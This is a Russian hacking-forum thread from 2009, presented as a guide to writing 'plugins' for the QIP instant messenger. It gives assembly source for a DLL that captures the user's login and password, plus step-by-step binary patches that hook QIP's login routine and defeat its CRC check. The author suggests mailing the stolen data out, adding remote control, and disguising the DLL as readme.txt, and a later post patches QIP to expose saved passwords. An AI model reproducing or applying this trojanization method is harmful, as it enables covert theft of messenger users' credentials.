Создание "плагинов" для QIP

Discussion in 'Реверсинг' started by 0rs, 25 Feb 2009.

  1. 0rs

    0rs Member

    Joined:
    30 Dec 2008
    Messages:
    70
    Likes Received:
    23
    Reputations:
    3
    Часто в программах мгновенного обмена сообщениями отсутствуют просто необходимые функции, а разработчики даже не планируют их добавлять. Для расширения функционала можно воспользоваться SDK, однако его практически невозможно получить, а тот, который находится в свободном доступе даже не допускает отправки сообщений.
    Сейчас мы будем исправлять это досадное положение и напишем плагин, который будет обрабатывать, вводимый в QIP логин и пароль.
    Для этого нам понадобятся:
    1) QIP (на момент написания версии 8092)
    2) Какой-нибудь компилятор (я использовал masm)
    3) OllyDbg
    4) LordPE
    Для начала напишем сам плагин, который представляет собой динамическую библиотеку, экспортирующую функцию GetInf, которая в качестве параметров получает виртуальные адреса логина и пароля. Вот пример реализации на asm:
    Code:
    .386
    .model flat,stdcall
    option casemap:none
       
    include windows.inc
    include kernel32.inc
    includelib kernel32.lib
    include user32.inc
    includelib user32.lib
    ; Объявление экспортируемой функции
    GetInf			PROTO	:DWORD,:DWORD
    SendData                   	PROTO
    
    .data?
     xPass db 20 dup(?)
     xUIN db 20 dup(?)
     ThreadID DWORD ?
    
    .code
     DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
       mov  eax,TRUE
       ret
     DllEntry Endp
    
     GetInf proc UIN:DWORD, Pass:DWORD
     LOCAL hFile: DWORD
    ; Чтобы qip не зависал на время обработки, полученных плагином данных,
    ; создаем отдельный поток в котором все это будет происходить
    ; Но перед этим копируем UIN и пароль в выделенную область памяти
    ; (после вызова GetInf qip может их удалить)
       invoke lstrcpy, addr xUIN, UIN
       invoke lstrcpy, addr xPass, Pass
       invoke CreateThread,NULL,NULL,addr SendData,NULL,0,addr ThreadID
       invoke CloseHandle,eax
       ret
     GetInf endp
    
     SendData proc
    ; Здесь происходит обработка принятых логина и пароля
    ; Пока это просто вывод сообщения с данными, но можно добавить
    ; сохранение этих данных в файл, отправку на mail или по icq 
       invoke MessageBox,0,addr xPass, addr xUIN, MB_OK
       ret
     SendData endp
    
     End DllEntry
    
    Может вышеприведенный код кого-то и испугает, но на самом деле его довольно просто переписать на другом языке и добавить в него все, что позволяет ваша фантазия. (Например удаленное управление компом. Код будет выполнятся в контексте процесса qip.exe, так что пропадает необходимость скрывать процесс, также врядли кому-нибудь покажется подозрительным, что qip решил выйти в сеть). Для дельфей функция будет выглядеть как-то так: procedure GetInf(uin:pChar; pass:pChar); stdcall; external 'fqip.dll';
    Скомпилированную библиотеку кладем в папку рядом с qip.exe.
    Теперь добавим наш плагин в таблицу импорта кипа. Для этого запускаем LordPE, жмем кнопку PE Editor и выбираем qip.exe. Записываем ImageBase (00400000 пригодится позже). Далее нажимаем Directories и ,напротив надписи Import Table жмем "...". В верхней части появившегося окна из меню, появляющегося при нажатии правой кнопки мыши, выбираем пункт add import. Вписываем имя плагина (fQIP.dll) и название функции (GetInf), нажимаем +, потом OK. В верхней части окна выбираем имя добавленной библиотеки, а в нижней- видим импортированную функцию. Записываем для нее ThunkRVA (у меня 00328012). Закрываем все окна Lord PE, нажимая кнопку Save, везьде где она есть.
    Запускаем qip и видим сообщение об ошибке. Проверка CRC. Как это обойти можно посмотреть здесь http://forum.antichat.ru/thread106619.html. Я пошел более простым путем и поставил bp MessageBoxA в плагине CommandLine. Нажал F9 и попал в MessageBoxA, потом вернулся к коду программы по Alt+F9, закрыв перед этим появившееся сообщение. Далее исправляем условный переход, как написано по ссылке выше и сохраняем изменения.
    Теперь qip запускается нормально. Запускаем qip под отладчиком и ставим bp MessageBoxA. Оставляем поле пароль не заполненными и нажимаем кнопку "Подключиться". Вываливаемся в отладчике и переходим по Ctrl+F9 на 2 уровня вверх, не забыв закрыть окно об ошибке. Попадаем сюда:
    Code:
    00624D18  |. E8 D740E7FF    CALL qip.00498DF4
    00624D1D  |. 837D F4 00     CMP DWORD PTR SS:[EBP-C],0
    00624D21  |. 0F85 DF000000  JNZ qip.00624E06
    00624D27  |> 6A 40          PUSH 40
    00624D29  |. A1 48F06900    MOV EAX,DWORD PTR DS:[69F048]
    00624D2E  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]
    00624D30  |. E8 3B05DEFF    CALL qip.00405270
    00624D35  |. 50             PUSH EAX
    00624D36  |. A1 18F26900    MOV EAX,DWORD PTR DS:[69F218]
    00624D3B  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]
    00624D3D  |. E8 2E05DEFF    CALL qip.00405270
    00624D42  |. 8BD0           MOV EDX,EAX
    00624D44  |. A1 98FD6900    MOV EAX,DWORD PTR DS:[69FD98]
    00624D49  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]
    00624D4B  |. 59             POP ECX
    00624D4C  |. E8 D32FE6FF    CALL qip.00487D24
    00624D51  |. 8B83 2C030000  MOV EAX,DWORD PTR DS:[EBX+32C]
    
    Очевидно, что проверка введенных данных происходит перед условным переходом:
    Code:
    00624D1D  |. 837D F4 00     CMP DWORD PTR SS:[EBP-C],0
    00624D21  |. 0F85 DF000000  JNZ qip.00624E06
    
    Немного выше происходит подобная проверка для пароля:
    Code:
    00624CFE  |. 837D F8 00     CMP DWORD PTR SS:[EBP-8],0
    00624D02  |. 74 23          JE SHORT qip.00624D27
    
    Ставим брейкпоинт по адресу 00624CFE клавишей F2, заполняем все поля, подключаемся и видим, что стеке по адресу EBP-8 лежит введенный пароль, а по адресу EBP-C - логин. Теперь необходимо вызвать функцию GetInf и передать ей параметры. Для этого выберем место, где будет получать управление наш код. Например по адресу 00624E06. Теперь ищем свободное место: немного ниже точки входа его полно:
    Code:
    006941AC   0000             ADD BYTE PTR DS:[EAX],AL
    
    Записываем инструкции по адресу 00624E06 и вместо нее пишем переход на наш код и запоминаем адрес возврата 00624E0B:
    Code:
    ;Было:
    00624E06  |> 80BB 97030000 >CMP BYTE PTR DS:[EBX+397],0
    ;Стало:
    00624E06     E9 A1F30600    JMP qip.006941AC
    00624E0B     90             NOP
    00624E0C     90             NOP
    
    Теперь переходим к найденному свободному месту и начинаем писать код:
    Code:
    ;Сохраняем регистры в стек на всякий случай
    pushad
    ;Передаем параметры функции в обратном порядке
    push DWORD [EBP-8]
    push DWORD [EBP-C]
    ;Вызываем функцию GetInf. Адрес находится как ImageBase+ThunkRVA
    ;0x00400000+0x00328012=0x00728012
    call [728012]
    ;Возвращаем параметры из стека
    popad
    ;Вставляем, перезаписанную нами инструкцию
    CMP BYTE PTR DS:[EBX+397],0
    ;Возвращаемся назад
    jmp 00624E0B
    
    Теперь из меню по правой кнопки мыши выбираем пункт Copy to executable и All modifications. Закрываем окно и сохраняем изменения.
    Запускаем кип, вводим логин и пароль, жмем подключение и видим в окне полученные данные. Теперь его можно использовать по назначению.
    Кроме qip этот метод я опробовал на mail агенте и icq 5.1.
     
    8 people like this.
  2. zeppe1in

    zeppe1in Elder - Старейшина

    Joined:
    12 Jul 2006
    Messages:
    343
    Likes Received:
    66
    Reputations:
    18
    Немного не понятно зачем длл. всё равно ведь приходится патчить. Мне кажеца лучше засунуть сразу всё в основной фаил).
     
  3. 0rs

    0rs Member

    Joined:
    30 Dec 2008
    Messages:
    70
    Likes Received:
    23
    Reputations:
    3
    А отправку на почту тоже в отладчике писать? Может у кого-то терпения и хватит, но свободного места в файле может не хватить. А так в dll можно писать сколько угодно и на любом языке.
     
  4. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Теперь понятно почему длл?
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Наглым образом украл мою идею. :) Я подобное хотел написать, но времяни небыло. В этоге время нашлось только на то, чтобы описать как патчить QIP от CRC
    А так понравилось как реализовано, так что +5
     
    2 people like this.
  6. zeppe1in

    zeppe1in Elder - Старейшина

    Joined:
    12 Jul 2006
    Messages:
    343
    Likes Received:
    66
    Reputations:
    18
    Пишеш на том же масме, потом рипнуть и подправить. А проблема с местом решаеца добавлением новой секции.
    длл имхо не прикольно.
     
  7. 0rs

    0rs Member

    Joined:
    30 Dec 2008
    Messages:
    70
    Likes Received:
    23
    Reputations:
    3
    Править придется не только код, но и с импортом мучиться. А длл - полностью готовое решение, не нравится расширение- можно переименовать в help. chm или readme.txt.
     
  8. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    542
    Reputations:
    445
    zeppe1in, преимущество длл в скорости написания кода, инжектить код в ехе напрямую требует базонезависимого кода
     
  9. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    Хе-хе, тут есть бага)

    Если стоит галочка "Сохранять пароль", то в поле пароль записано (не помню точно) что-то типа "<:HIDDEN:>" и оригинальный пароль проявляется только на стадии уже попытки входа. Столкнулся с этим, когда сам qip правил. Так что надо по-хитрее инжектиться.
     
  10. 0rs

    0rs Member

    Joined:
    30 Dec 2008
    Messages:
    70
    Likes Received:
    23
    Reputations:
    3
    При помощи плагина Ultra String Reference нашел надпись <:hidden:>.
    Code:
    00620005  |> 83BB 8C030000 >CMP DWORD PTR DS:[EBX+38C],0             ;  Проверяется есть ли пароль
    0062000C  |. 74 10          JE SHORT -qip.0062001E
    0062000E     BA D8056200    MOV EDX,-qip.006205D8                    ;  <:hidden:>
    00620013  |. 8B83 2C030000  MOV EAX,DWORD PTR DS:[EBX+32C]
    00620019     E8 DE78E4FF    CALL -qip.004678FC                       ;  Установка надписи
    
    Теперь вместо <:hidden:> пишем пароль, который находится по адресу [EBX+38C]. Места для этого маловато, поэтому делаем так:
    Code:
    00620005     8B93 8C030000  MOV EDX,DWORD PTR DS:[EBX+38C]
    0062000B     85D2           TEST EDX,EDX
    0062000D     74 0F          JE SHORT -qip.0062001E
    0062000F     90             NOP
    00620010     90             NOP
    00620011     90             NOP
    00620012     90             NOP
    00620013  |. 8B83 2C030000  MOV EAX,DWORD PTR DS:[EBX+32C]
    00620019     E8 DE78E4FF    CALL -qip.004678FC
    
     
    #10 0rs, 28 Feb 2009
    Last edited: 28 Feb 2009
  11. AlexGT

    AlexGT Banned

    Joined:
    21 Jan 2008
    Messages:
    1
    Likes Received:
    18
    Reputations:
    0
    Вопрос по теме квипа(чтоб не создавать стопицот топиков)-
    Можно- ли сделать подмену идента клиента (Чтоб у других? а не у меня отображалось вместо QIP ver. 2005(8092) что либо другое) на свою, тобишь на любую(допустим Превед Медвед")
     
  12. 0rs

    0rs Member

    Joined:
    30 Dec 2008
    Messages:
    70
    Likes Received:
    23
    Reputations:
    3
    Можно поменять в настройках. Но "Превед Медвед" не поставишь. Идентификаторы представляют собой числовые константы.